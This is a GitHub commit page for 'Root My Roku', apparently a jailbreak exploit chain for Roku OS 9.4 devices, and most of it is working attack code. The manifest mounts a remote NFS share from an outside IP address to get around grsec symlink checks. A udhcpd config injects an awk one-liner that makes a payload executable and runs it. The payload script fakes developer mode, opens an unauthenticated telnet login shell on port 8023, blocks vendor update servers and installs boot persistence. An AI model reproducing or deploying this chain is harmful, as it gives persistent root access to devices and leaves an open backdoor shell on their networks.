-
Notifications
You must be signed in to change notification settings - Fork 23
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
24 changed files
with
646 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
<?xml version="1.0" encoding="utf-8" ?> | ||
<component name="StatusScreen" extends="Scene"> | ||
<children> | ||
<Label | ||
id="statusLabel" | ||
text="" | ||
width="1280" | ||
height="720" | ||
horizAlign="center" | ||
vertAlign="center" | ||
wrap="true" | ||
/> | ||
</children> | ||
</component> |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
title=Root My Roku | ||
major_version=9 | ||
minor_version=4 | ||
build_version=4200 | ||
|
||
## Channel Assets | ||
### Main Menu Icons / Channel Poster Artwork | ||
#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px | ||
mm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png | ||
mm_icon_focus_hd=pkg:/images/channel-poster_hd.png | ||
mm_icon_focus_sd=pkg:/images/channel-poster_sd.png | ||
|
||
### Splash Screen + Loading Screen Artwork | ||
#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px | ||
splash_screen_fhd=pkg:/images/splash-screen_fhd.jpg | ||
splash_screen_hd=pkg:/images/splash-screen_hd.jpg | ||
splash_screen_sd=pkg:/images/splash-screen_sd.jpg | ||
|
||
# This is where the magic happens. | ||
# Normally Linux grsec prevents us from following symlinks to directories | ||
# we don't own, but almost all of the grsec security checks fail when | ||
# the symlink resides on an NFS mount. | ||
# NOTE: pkg_nfs_mount requires an IP address, not a domain name. | ||
# The value below is the IP address that nfs.rootmyroku.com resolves to. | ||
pkg_nfs_mount=193.122.148.131:/exports/940E04200 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
Sub Main() | ||
screen = CreateObject("roSGScreen") | ||
m.port = CreateObject("roMessagePort") | ||
screen.setMessagePort(m.port) | ||
|
||
scene = screen.CreateScene("StatusScreen") | ||
screen.show() | ||
|
||
m.status = scene.FindNode("statusLabel") | ||
m.status.text = "If you're seeing this, the NFS mount failed or the exploit was patched. :(" | ||
Stop | ||
|
||
While True | ||
event = wait(30000, m.port) | ||
event_type = type(event) | ||
If event_type = "roSGScreenEvent" Then | ||
' When the screen is closed, shut everything down. | ||
If event.isScreenClosed() Then | ||
Return | ||
End If | ||
End If | ||
End While | ||
End Sub |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
# udhcpd allows you to specify an executable to notify whenever the lease file is updated. | ||
# It will call the `notify_file` executable and pass `lease_file` as the only parameter. | ||
# However, it has a few critical limitations: | ||
# - The `notify_file` target must have the execute bit set. | ||
# This is actually a major hurdle. | ||
# While we can copy/write to arbitrary files, we can't control | ||
# the resulting file's permissions. As a consequence, the files | ||
# we write to /nvram always never have their execute bit set. | ||
# - udhcpd uses `execvp` to call `notify_file`, so we have access to | ||
# exactly ONE parameter (i.e. `lease_file`) regardless of whitespace. | ||
# This means things like `/bin/sh -c "commands to run"` won't work. | ||
# - The contents of `lease_file` will be overwritten before calling `notify_file`. | ||
# This means we can't use `/bin/sh /path/to/script.sh` because udhcpd | ||
# will clobber the contents of our script before it ever gets executed. | ||
# - The value of `lease_file` must be a path that udhcpd can write to. | ||
# If it fails to write to `lease_file` then it won't call `notify_file`. | ||
# The file itself doesn't need to exist in advance, but udhcpd can't | ||
# create directories so it must be placed somewhere udhcpd can write. | ||
|
||
# The solution is an awk script + file path polyglot: | ||
# - Start with a pattern match (`/tmp/;`) that executes nothing. | ||
# This makes the entire awk script look like a file path under /tmp. | ||
# From this point on, we can no longer use front-slahes otherwise | ||
# it will be interpreted as subdirectories. | ||
# We work around this by creating a front-slash using sprintf | ||
# and using string concatination to generate a system command. | ||
# - awk normally reads input via file name arguments and/or stdin, | ||
# but udhcpd won't be passing any additional arguments. | ||
# This means that the core of the awk script must be inside a `BEGIN` | ||
# block which executes before any input processing takes place. | ||
# As a side note, we must manually exit awk. If we reach the end of | ||
# the `BEGIN` block, it will hang when attempting to consume stdin. | ||
# This in turn causes udhcpd to hang waiting for `notify_file` to finish. | ||
# - Lastly, we need to manually chmod +x the exploit payload | ||
# because the execute bit will be missing. | ||
|
||
# Behold! (I'm actually pretty proud of this.) | ||
notify_file /usr/bin/awk | ||
lease_file /tmp/; BEGIN { fs=sprintf("%c",47); system("chmod +x "fs"nvram"fs"payload.sh && "fs"nvram"fs"payload.sh"); exit(0); } | ||
|
||
# udhcpd calls `notify_file` whenever a new lease is created or every `auto_time` seconds. | ||
# We need the exploit payload to run before Application launches. | ||
# To accomplish this, we set the `auto_time` value to a small value | ||
# so that it triggers very early in the boot process. | ||
# The exploit payload will update the udhcpd config file | ||
# so that the small `auto_time` value is only used once. | ||
auto_time 1 | ||
|
||
# A fallback interface in case we couldn't find one during installation. | ||
interface wlan1 | ||
|
||
# Make sure this file ends with an empty line. | ||
# An `interface` line will be appended during startup | ||
# and we need to make sure that it doesn't accidentally | ||
# get appended to one of our directives. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
|
||
Sub init() | ||
m.status = m.top.FindNode("status") | ||
m.status.font.size = 36 | ||
|
||
m.spinner = m.top.FindNode("spinner") | ||
m.spinner.poster.uri = "pkg:/images/spinner.png" | ||
m.spinner.poster.observeField("loadStatus", "moveSpinner") | ||
setBusyState(False) | ||
|
||
m.top.ObserveField("text", "onTextUpdate") | ||
m.top.ObserveField("busy", "onBusyUpdate") | ||
m.top.SetFocus(True) | ||
End Sub | ||
|
||
Sub onTextUpdate(event As Object) | ||
event_type = Type(event) | ||
If event_type = "roSGNodeEvent" Then | ||
m.status.text = event.GetData() | ||
End If | ||
End Sub | ||
|
||
Sub moveSpinner(event As Object) | ||
' Relocates the spinner to the bottom right corner. | ||
' We don't have access to the spinner's dimensions until the image finishes loading. | ||
If m.spinner.poster.loadStatus = "ready" Then | ||
screen_right = 1280 - m.spinner.poster.bitmapWidth * 1.25 | ||
screen_bottom = 720 - m.spinner.poster.bitmapHeight * 1.25 | ||
m.spinner.translation = [screen_right, screen_bottom] | ||
End If | ||
End Sub | ||
|
||
Sub onBusyUpdate(event As Object) | ||
setBusyState(event.GetData()) | ||
End Sub | ||
|
||
Sub setBusyState(busy As Boolean) | ||
If busy Then | ||
m.spinner.poster.rotation = 0 | ||
m.spinner.visible = True | ||
m.spinner.control = "start" | ||
Else | ||
m.spinner.visible = False | ||
m.spinner.control = "stop" | ||
End If | ||
End Sub | ||
|
||
Sub onKeyEvent(key As String, pressed As Boolean) As Boolean | ||
' Observe and note all witness key events. | ||
' This is done so the main method can "observe" our lastKeyEvent field | ||
' because the main method has no direct access to onKeyEvent calls. | ||
m.top.lastKeyEvent = { key: key, pressed: pressed } | ||
|
||
' Pretend like we didn't handle the key so the event propagates. | ||
Return False | ||
End Sub |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
<?xml version="1.0" encoding="utf-8" ?> | ||
<component name="StatusScreen" extends="Scene"> | ||
<children> | ||
<Label | ||
id="status" | ||
text="" | ||
width="1280" | ||
height="720" | ||
horizAlign="center" | ||
vertAlign="center" | ||
wrap="true" | ||
/> | ||
<BusySpinner | ||
id="spinner" | ||
visible="false" | ||
control="stop" | ||
/> | ||
</children> | ||
|
||
<interface> | ||
<field id="text" type="string" /> | ||
<field id="busy" type="bool" /> | ||
<field id="lastKeyEvent" type="assocarray" /> | ||
</interface> | ||
|
||
<script type="text/brightscript" uri="pkg:/components/StatusScreen.brs" /> | ||
</component> |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
title=Root My Roku | ||
major_version=9 | ||
minor_version=4 | ||
build_version=4200 | ||
|
||
## Channel Assets | ||
### Main Menu Icons / Channel Poster Artwork | ||
#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px | ||
mm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png | ||
mm_icon_focus_hd=pkg:/images/channel-poster_hd.png | ||
mm_icon_focus_sd=pkg:/images/channel-poster_sd.png | ||
|
||
### Splash Screen + Loading Screen Artwork | ||
#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px | ||
splash_screen_fhd=pkg:/images/splash-screen_fhd.jpg | ||
splash_screen_hd=pkg:/images/splash-screen_hd.jpg | ||
splash_screen_sd=pkg:/images/splash-screen_sd.jpg | ||
|
||
splash_color=#000000 | ||
splash_min_time=1000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,148 @@ | ||
#!/bin/sh | ||
|
||
status() { echo "[$(date)]" "$@"; } | ||
warning() { status "$@" 1>&2; } | ||
fail() { warning "$@"; exit 1; } | ||
|
||
exec >>"/tmp/payload.log" 2>&1 | ||
|
||
|
||
enable_developer_mode() { | ||
# Overlay /proc/cmdline to enable developer mode. | ||
# This unlocks all of the busybox commands like wget and telnetd. | ||
# If this takes place before Application starts, it also: | ||
# - Unlocks debug and secret screens in the main menu. | ||
# - Unlocks developer commands in the port 8080 debug terminal. | ||
if ! grep -qF "dev=1" "/proc/cmdline"; then | ||
status "Enabling developer mode" | ||
cmdline=$(cat "/proc/cmdline") | ||
printf "dev=1 %s" "${cmdline}" > "/tmp/cmdline" | ||
chmod 644 "/tmp/cmdline" | ||
mount -o bind,ro "/tmp/cmdline" "/proc/cmdline" | ||
|
||
# Given that we only enable developer mode once at boot, | ||
# take this opportunity to purge the current developer channel. | ||
# If we don't, it'll trigger an NFS mount every boot. | ||
# If the NFS mount fails, it can cause a boot loop. | ||
rm "/nvram/incoming/dev.zip"* 2>/dev/null | ||
fi | ||
} | ||
|
||
enable_telnetd() { | ||
if pgrep -f telnetd >/dev/null 2>&1; then | ||
return | ||
fi | ||
|
||
# Try different busybox binaries until we find one that works. | ||
# The system one should work if the developer overlay was successful, | ||
# but it never hurts to be careful. | ||
telnetd_started=0 | ||
for busybox in "/bin/busybox" "/nvram/busybox" "/nvram/busybox-$(uname -m)"; do | ||
if [[ ! -e "${busybox}" ]]; then | ||
continue | ||
fi | ||
|
||
status "Starting telnetd from ${busybox}" | ||
chmod +x "${busybox}" >/dev/null 2>&1 | ||
if "${busybox}" telnetd -l /sbin/loginsh -p 8023; then | ||
telnetd_started=1 | ||
break | ||
fi | ||
done | ||
|
||
if [[ "${telnetd_started}" -ne 1 ]]; then | ||
warning "Failed to start telnetd :(" | ||
fi | ||
} | ||
|
||
enable_custom_dns() { | ||
if pgrep -f "resolv.sh" >/dev/null 2>&1; then | ||
return | ||
fi | ||
|
||
# This custom DNS blocks communication with Roku's servers. | ||
# This disables logging, channel updates, and firmware updates. | ||
# See `resolv.sh` for details. | ||
status "Enabling custom DNS nameserver" | ||
chmod +x "/nvram/resolv.sh" | ||
nohup "/nvram/resolv.sh" >/dev/null 2>&1 & | ||
} | ||
|
||
enable_persistence() { | ||
# Check if we're using the bootstrapping config file. | ||
# If we are, we need to replace it with a fully functional one. | ||
# This restores actual udhcpd functionality for pairing speakers, | ||
# remotes, and other devices. | ||
restart_udhcpd=0 | ||
script_path=$(readlink -f "$0") | ||
if ! grep -qF "${script_path}" "/nvram/udhcpd-p2p.conf"; then | ||
status "Replacing bootstrap udhcpd config" | ||
{ | ||
# Base the new config file off the system default one, | ||
# but remove and replace the `notify_file` and `auto_time` values. | ||
grep -vF -e "notify_file" -e "auto_time" "/lib/wlan/realtek/udhcpd-p2p.conf" | ||
|
||
# Add the current script as the `notify_file` target. | ||
echo | ||
echo "notify_file ${script_path}" | ||
|
||
# Cause the `notify_file` target to be called early during boot. | ||
# This makes sure that our payload is run before the main Application starts. | ||
# See `bootstrap.conf` for details. | ||
echo "auto_time 1" | ||
|
||
# Make absolutely sure that the config file ends with an empty line. | ||
# See `bootstrap.conf` for details. | ||
echo | ||
} > "/nvram/udhcpd-p2p.conf" | ||
|
||
# udhcpd is currently running with the bootstrap config file. | ||
# We need to recreate the active config file by simulating | ||
# the changes made by `/lib/wlan/network-functions`. | ||
{ | ||
cat "/nvram/udhcpd-p2p.conf" | ||
interface_name=$(cat "/tmp/p2p-interface-name" 2>/dev/null) | ||
if [[ -n "${interface_name}" ]]; then | ||
echo "interface ${interface_name}" | ||
fi | ||
} > "/tmp/udhcpd-p2p.conf" | ||
|
||
restart_udhcpd=1 | ||
fi | ||
|
||
# Now that the initial payload has already run, we don't need to run as often. | ||
# If the active config still contains an `auto_time` value, remove it. | ||
# The default value for `auto_time` is 2 hours which is good enough. | ||
if grep -qF "auto_time" "/tmp/udhcpd-p2p.conf"; then | ||
status "Removing auto_time config value" | ||
sed -i "/auto_time/d" "/tmp/udhcpd-p2p.conf" | ||
restart_udhcpd=1 | ||
fi | ||
|
||
if [[ "${restart_udhcpd}" -ne 0 ]]; then | ||
# We can't `pkill udhcpd` or we'll end up killing ourselves too. | ||
# We need to kill all instances of udhcpd except the brand new one. | ||
current_pids=$(pgrep udhcpd) | ||
status "Spawning replacement udhcpd" | ||
udhcpd "/tmp/udhcpd-p2p.conf" | ||
|
||
if [[ -n "${current_pids}" ]]; then | ||
status "Killing previous udhcpd instances" | ||
kill ${current_pids} | ||
fi | ||
fi | ||
} | ||
|
||
# Do our magic, then call the default udhcpd notify script. | ||
enable_developer_mode | ||
enable_telnetd | ||
enable_custom_dns | ||
|
||
# The persistence method must run last as it may restart udhcpd. | ||
# This payload is launched by the current udhcpd, so it may kill us too. | ||
enable_persistence | ||
|
||
if [[ $# -gt 0 ]]; then | ||
status "Calling default notify handler" | ||
/lib/wlan/realtek/udhcpd-notify.sh "$@" >/dev/null 2>&1 | ||
fi |
Oops, something went wrong.